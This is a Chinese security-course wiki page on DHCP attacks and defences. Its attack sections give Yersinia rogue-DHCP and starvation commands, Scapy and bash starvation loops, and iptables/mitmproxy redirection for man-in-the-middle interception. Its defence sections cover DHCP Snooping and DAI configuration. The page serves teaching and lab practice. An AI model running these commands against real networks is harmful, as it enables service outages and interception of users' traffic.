公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-016-DHCP安全与攻击防护
# Day 15: DHCP 安全与攻击防护 > 网络安全系列第 15 天 | 预计阅读时间:30 分钟 | 难度:★★★★☆ --- ## 清单 目录 1. [引言](#引言) 2. [DHCP 协议基础](#dhcp 协议基础) 3. [DHCP 安全威胁](#dhcp 安全威胁) 4. [Rogue DHCP 攻击](#rogue-dhcp 攻击) 5. [DHCP 饥饿攻击](#dhcp 饥饿攻击) 6. [实验环境搭建](#实验环境搭建) 7. [实战演练](#实战演练) 8. [防护策略与最佳实践](#防护策略与最佳实践) 9. [总结与思考](#总结与思考) 10. [参考资料](#参考资料) --- ## 引言 ### DHCP 的关键作用 DHCP(Dynamic Host Configuration Protocol)是网络自动化的核心协议,负责为网络设备自动分配 IP 地址、网关、DNS 等配置信息。没有 DHCP,现代企业网络将无法高效运转。 **DHCP 分配的关键信息**: - IP 地址和子网掩码 - 默认网关 - 卡片 DNS 服务器 - 租约时间 - 工具 其他选项(NTP、WINS 等) **安全影响**: - 攻击者可通过 DHCP 劫持整个网络流量 - 可实施中间人攻击 - 可导致网络服务中断 - 可窃取用户敏感信息 ### 真实案例 ``` 案例 1: 企业 DHCP 劫持(2019) - 攻击者接入会议室网络 - 部署 Rogue DHCP 服务器 - 分配恶意 DNS 服务器 - 用户访问假冒的银行网站 - 损失:50 万美元 案例 2: DHCP 饥饿攻击(2020) - 攻击者耗尽 IP 地址池 - 合法用户无法获取 IP - 导致办公网络中断 4 小时 - 影响:2000+ 员工 案例 3: 酒店网络钓鱼(2021) - 攻击者伪装成酒店 WiFi - 通过 DHCP 分配恶意网关 - 拦截客人信用卡信息 - 影响:数百名客人 ``` --- ## DHCP 协议基础 ### DHCP 工作流程(DORA) ``` DHCP 四步流程: 1. Discover(发现) 客户端 → 广播:DHCP Discover "有 DHCP 服务器吗?" 2. Offer(提供) 服务器 → 广播:DHCP Offer "我在这里,给你 IP 192.168.1.100" 3. Request(请求) 客户端 → 广播:DHCP Request "我要用 192.168.1.100 了" 4. Acknowledge(确认) 服务器 → 广播:DHCP ACK "好的,租约 24 小时" 数据包格式: ┌─────────────────────────────────────┐ │ OP (1byte) │ HTYPE │ HLEN │ HOPS │ ├─────────────────────────────────────┤ │ Transaction ID (4bytes) │ ├─────────────────────────────────────┤ │ Seconds │ Flags │ ├─────────────────────────────────────┤ │ Client IP Address (4bytes) │ ├─────────────────────────────────────┤ │ Your IP Address (4bytes) │ ├─────────────────────────────────────┤ │ Server IP Address (4bytes) │ ├─────────────────────────────────────┤ │ Gateway IP Address (4bytes) │ ├─────────────────────────────────────┤ │ Client Hardware Address (16bytes) │ ├─────────────────────────────────────┤ │ Server Hostname (64bytes) │ ├─────────────────────────────────────┤ │ Boot File Name (128bytes) │ ├─────────────────────────────────────┤ │ Options (可变长度) │ └─────────────────────────────────────┘ ``` ### DHCP 选项详解 ``` 常用 DHCP 选项: Option 1: 子网掩码 Option 3: 默认网关 Option 6: DNS 服务器 Option 12: 主机名 Option 15: 域名 Option 42: NTP 服务器 Option 43: 厂商特定信息 Option 66: TFTP 服务器(PXE 启动) Option 67: 启动文件名 Option 121: 无类别路由 恶意利用: - Option 6: 分配恶意 DNS - Option 66/67: PXE 启动攻击 - Option 121: 路由劫持 ``` --- ## DHCP 安全威胁 ### 威胁分类 ``` 1. Rogue DHCP 服务器 风险等级:★★★★★ 影响:流量劫持、中间人攻击 2. DHCP 饥饿攻击 风险等级:★★★★☆ 影响:拒绝服务 3. DHCP 欺骗 风险等级:★★★☆☆ 影响:绕过访问控制 4. DHCP 信息泄露 风险等级:★★★☆☆ 影响:网络拓扑暴露 5. DHCP 配置篡改 风险等级:★★★★☆ 影响:网络配置错误 ``` ### 风险评估矩阵 | 攻击类型 | 可能性 | 影响 | 风险等级 | |----------|--------|------|----------| | Rogue DHCP | 高 | 严重 | 严重 | | DHCP 饥饿 | 中 | 中等 | 高 | | DHCP 欺骗 | 中 | 中等 | 中 | | 信息泄露 | 高 | 低 | 中 | | 配置篡改 | 低 | 严重 | 中 | --- ## Rogue DHCP 攻击 ### 攻击原理详解 ``` 攻击流程: 1. 攻击者接入网络 - 物理接入(会议室、办公区) - 无线接入(Guest WiFi) - 远程接入(被攻陷的 IoT 设备) 2. 部署 Rogue DHCP 服务器 工具: - Yersinia - dhcpd (ISC) - 自定义脚本 3. 响应 DHCP Discover - 攻击者先于合法服务器响应 - 客户端接受第一个 Offer 4. 分配恶意配置 IP 地址:192.168.1.100 网关:攻击者 IP(192.168.1.1) DNS: 攻击者控制的 DNS 5. 流量劫持 - 所有流量经过攻击者 - 可窃听、篡改 - 可重定向到钓鱼网站 ``` ### 攻击演示(Yersinia) ```bash # 1. 安装 Yersinia apt install yersinia # 2. 启动图形界面 yersinia -G # 3. 选择 DHCP 攻击 # 界面操作: # - 选择 DHCP 协议 # - Launch Attack # - DHCP OFFER # 4. 命令行模式 yersinia -d 0 -attack dhcp_offer # 5. 配置恶意参数 # - 网关:攻击者 IP # - DNS: 攻击者 DNS ``` ### 中间人攻击实施 ```bash # 攻击者配置示例 # 1. 启用 IP 转发 echo 1 > /proc/sys/net/ipv4/ip_forward # 2. 配置 iptables 转发 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 攻击者 IP:8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 攻击者 IP:8443 # 3. 启动恶意代理 mitmproxy --mode transparent --showhost # 4. 受害者访问 # www.bank.com → 攻击者代理 → 真实银行网站 # 攻击者可看到所有 HTTP 流量 # HTTPS 流量可尝试 SSL 剥离 ``` --- ## DHCP 饥饿攻击 ### 攻击原理 ``` 攻击目标:耗尽 DHCP 地址池 攻击方法: 1. MAC 地址欺骗 - 伪造大量 MAC 地址 - 每个 MAC 请求一个 IP - 快速耗尽地址池 2. DHCP Request 洪水 - 发送大量 DHCP Request - 不完成 DORA 流程 - 占用 IP 不释放 3. 租约保持 - 定期续租 - IP 不释放回池 - 长期占用 ``` ### 攻击工具 ```bash # 1. Yersinia DHCP 攻击 yersinia -d 0 -attack dhcp_discover # 2. 自定义脚本(Scapy) from scapy.all import * import random for i in range(1000): mac = "00:11:22:33:%02x:%02x" % (random.randint(0,255), random.randint(0,255)) dhcp_discover = Ether(src=mac)/IP(src="0.0.0.0", dst="255.255.255.255")/ \ UDP(sport=68, dport=67)/BOOTP(chaddr=mac)/ \ DHCP(options=[("message-type", "discover"), "end"]) sendp(dhcp_discover) # 3. DHCPstarv 工具 dhcpstarv -i eth0 -m 00:11:22:33:44:55 ``` ### 影响分析 ``` 攻击影响: 1. 新用户无法接入 - 获取不到 IP 地址 - 无法访问网络 - 业务中断 2. 现有用户影响 - 租约到期后无法续租 - 逐渐失去连接 - 网络不稳定 3. 恢复时间 - 等待租约过期(通常 24 小时) - 或手动清除租约 - 业务影响持久 ``` --- ## 实验环境搭建 ### 拓扑结构 ``` ┌─────────────────────────────────────────┐ │ 隔离实验网络 │ │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ 攻击机 │ │ 合法 DHCP │ │ │ │ (Kali) │ │ 服务器 │ │ │ │ 192.168.1 │ │ 192.168.1 │ │ │ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ └────────┬─────────┘ │ │ │ │ │ ┌──────▼──────┐ │ │ │ 交换机 │ │ │ │ (可管理) │ │ │ └──────┬──────┘ │ │ │ │ │ ┌─────────────┼─────────────┐ │ │ │ │ │ │ │ ┌──▼──┐ ┌───▼───┐ ┌───▼───┐ │ │ │Victim│ │Victim │ │Victim │ │ │ │ 1 │ │ 2 │ │ 3 │ │ │ └─────┘ └───────┘ └───────┘ │ └─────────────────────────────────────────┘ ``` ### 合法 DHCP 服务器配置 ```bash # ISC DHCP Server 配置 # /etc/dhcp/dhcpd.conf # 全局配置 default-lease-time 600; max-lease-time 7200; authoritative; # 日志 log-facility local7; # 子网配置 subnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.100 192.168.1.200; option routers 192.168.1.1; option subnet-mask 255.255.255.0; option broadcast-address 192.168.1.255; option domain-name-servers 8.8.8.8, 8.8.4.4; option domain-name "example.com"; # 静态分配示例 host server1 { hardware ethernet 00:11:22:33:44:55; fixed-address 192.168.1.50; } } # 启动服务 systemctl enable isc-dhcp-server systemctl start isc-dhcp-server ``` --- ## 实战演练 ### 实验 1: DHCP 信息收集 **目标**:了解网络 DHCP 配置 **步骤**: ```bash # 1. 查看当前 DHCP 配置 ipconfig /all # Windows ifconfig && cat /etc/resolv.conf # Linux # 2. 捕获 DHCP 流量 tcpdump -i eth0 -n port 67 or port 68 -w dhcp.pcap # 3. 触发 DHCP 请求 dhclient -r eth0 # 释放 dhclient eth0 # 重新获取 # 4. 分析 DHCP 包 wireshark dhcp.pcap # 查看: # - DHCP 服务器 IP # - 分配的 IP 范围 # - 网关和 DNS # - 租约时间 ``` ### 实验 2: Rogue DHCP 检测 **目标**:识别恶意 DHCP 服务器 **步骤**: ```bash # 1. 使用 Yersinia 检测 yersinia -G # 选择 DHCP → Listen # 查看 DHCP 服务器列表 # 2. 使用 dhcping 探测 dhcping -s 192.168.1.1 -c 192.168.1.100 -h 00:11:22:33:44:55 # 3. 监控 DHCP 流量 tcpdump -i eth0 -n 'port 67' # 观察: # - 是否有未知 DHCP 服务器 # - Offer 包来源 # 4. 检查 DHCP 服务器认证 # 企业环境应仅允许授权服务器 ``` ### 实验 3: DHCP 饥饿攻击演示 ! **警告**:仅在隔离环境测试 **步骤**: ```bash # 1. 监控 DHCP 地址池 # 在 DHCP 服务器上 cat /var/lib/dhcp/dhcpd.leases | grep lease | wc -l # 2. 发动饥饿攻击 # 攻击机执行 for i in {1..200}; do mac="00:11:22:33:44:$(printf '%02x' $i)" dhclient -d -sf /bin/true -H "test$i" -hw ether $mac eth0 & done # 3. 观察地址池耗尽 # DHCP 服务器上监控 watch -n 1 'cat /var/lib/dhcp/dhcpd.leases | grep lease | wc -l' # 4. 测试新用户接入 # 新客户端应无法获取 IP # 5. 恢复 # 停止攻击 # 清除租约 dhcpd -r systemctl restart isc-dhcp-server ``` ### 实验 4: 交换机防护配置 **目标**:配置 DHCP Snooping **步骤**: ```bash # Cisco 交换机配置 # 1. 启用 DHCP Snooping ip dhcp snooping ip dhcp snooping vlan 10 # 2. 配置信任端口(连接合法 DHCP 服务器) interface GigabitEthernet1/0/1 description Connected-to-DHCP-Server ip dhcp snooping trust exit # 3. 配置非信任端口(连接用户) interface range GigabitEthernet1/0/2-24 description Connected-to-Users no ip dhcp snooping trust ip dhcp snooping limit rate 10 exit # 4. 验证配置 show ip dhcp snooping show ip dhcp snooping binding # 5. 测试防护 # 从非信任端口连接 Rogue DHCP # 应被交换机阻止 ``` --- ## 防护策略与最佳实践 ### 交换机安全配置 #### DHCP Snooping ```bash # 完整配置模板 # 启用 DHCP Snooping ip dhcp snooping ip dhcp snooping vlan 10,20,30 # 配置信任端口 interface GigabitEthernet1/0/1 ip dhcp snooping trust ip dhcp snooping limit rate 100 # 配置非信任端口 interface range GigabitEthernet1/0/2-48 no ip dhcp snooping trust ip dhcp snooping limit rate 10 # 防止 MAC 欺骗 switchport port-security switchport port-security maximum 2 switchport port-security violation restrict # 防止 DHCP 攻击 ip dhcp snooping verify mac-address # 数据库保存(重启后保留绑定) ip dhcp snooping database flash:/dhcp_snooping.db ip dhcp snooping database write-delay 300 # 验证 show ip dhcp snooping show ip dhcp snooping binding show ip dhcp snooping database ``` #### Dynamic ARP Inspection (DAI) ```bash # 配合 DHCP Snooping 使用 # 启用 DAI ip arp inspection vlan 10 # 信任端口 interface GigabitEthernet1/0/1 ip arp inspection trust # 非信任端口 interface range GigabitEthernet1/0/2-48 no ip arp inspection trust ip arp inspection limit rate 100 ip arp inspection validate src-mac dst-mac ip # 验证 show ip arp inspection vlan 10 show ip arp inspection statistics ``` ### 企业级防护架构 ``` 推荐部署: 1. 接入层交换机 ✓ DHCP Snooping ✓ DAI (Dynamic ARP Inspection) ✓ 端口安全(Port Security) ✓ 802.1X 认证 2. 分布层交换机 ✓ DHCP Snooping ✓ 信任端口配置 ✓ 流量监控 3. 核心层 ✓ 仅信任授权 DHCP 服务器 ✓ 监控 DHCP 流量 ✓ 告警异常 4. 无线控制器 ✓ DHCP Snooping ✓ 客户端隔离 ✓ 访客网络分段 ``` ### 监控与检测 ```bash # 1. DHCP 服务器日志监控 # /var/log/syslog grep -i "dhcp" /var/log/syslog | tail -100 # 2. 异常检测规则 # - 多个 DHCP 服务器响应 # - 未知 DHCP 服务器 # - 异常高的 DHCP 请求率 # - 地址池快速耗尽 # 3. SIEM 集成 # 发送日志到 SIEM # 配置告警规则 # 4. 定期审计 # - 检查信任端口配置 # - 验证 DHCP Snooping 状态 # - 审查 DHCP 租约 ``` ### 响应流程 ``` DHCP 攻击响应流程: 1. 检测与确认 - 监控告警 - 流量分析 - 确认攻击类型 2. 遏制 - 隔离受影响的端口 - 阻止 Rogue DHCP - 限制攻击源 3. 根除 - 定位攻击设备 - 物理断开或禁用端口 - 清除恶意配置 4. 恢复 - 重启 DHCP 服务 - 清除租约 - 恢复正常服务 5. 总结 - 根本原因分析 - 改进防护措施 - 更新文档 ``` --- ## 总结与思考 ### 核心要点回顾 1. **DHCP 威胁严重性** - Rogue DHCP 可劫持整个网络 - 饥饿攻击可导致服务中断 - 防护至关重要 2. **关键防护技术** - DHCP Snooping(最有效) - DAI(配合使用) - 端口安全 - 802.1X 认证 3. **监控与响应** - 持续监控 DHCP 流量 - 快速检测异常 - 完善响应流程 ### 深入思考问题 1. **IoT 设备 DHCP 安全** - IoT 设备通常无防护 - 如何防止被攻陷? - 网络分段必要性? 2. **无线 DHCP 安全** - Guest WiFi 风险 - 客户端隔离 - 认证机制? 3. **云环境 DHCP** - VPC DHCP 实现 - 与传统网络差异 - 安全考虑? ### 实战建议 **中小企业**: 1. 启用 DHCP Snooping 2. 配置信任端口 3. 监控 DHCP 日志 4. 定期安全审计 **大型企业**: 1. 全面部署 DHCP Snooping 2. 配合 DAI 使用 3. 实施 802.1X 4. SIEM 集成监控 5. 自动化响应 **云环境**: 1. 使用云提供商 DHCP 2. 安全组隔离 3. 网络 ACL 4. 监控云 DHCP 日志 ### 下一步学习建议 - **深入交换机安全**:Cisco/Nexus 配置 - **802.1X 认证**:NAC 实施 - **网络分段**:VLAN 安全 - **无线安全**:WPA3、企业认证 --- ## 参考资料 ### 标准文档 - RFC 2131 (DHCP) - RFC 2132 (DHCP Options) - RFC 3046 (DHCP Relay Agent Information) ### 工具资源 - [ISC DHCP](https://www.isc.org/dhcp/) - [Yersinia](https://www.yersinia.net/) - [Scapy](https://scapy.net/) ### 在线资源 - [Cisco DHCP Snooping](https://www.cisco.com/c/en/us/support/docs/lan-switching/ethernet/19138-123.html) - [DHCP 安全最佳实践](https://www.sans.org/) ### 书籍推荐 - 《交换机安全配置指南》 - 《网络攻击与防御》 - 《企业网络安全架构》 --- **标记 明日预告**:Day 16 - ICMP 协议安全分析 > 本文内容仅供学习和研究使用,请勿用于非法目的。所有实验请在隔离环境中进行。 --- *本文是 365 天信息安全技术系列的第 15 篇,精编版本*
myh0st
2026年4月13日 23:11
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码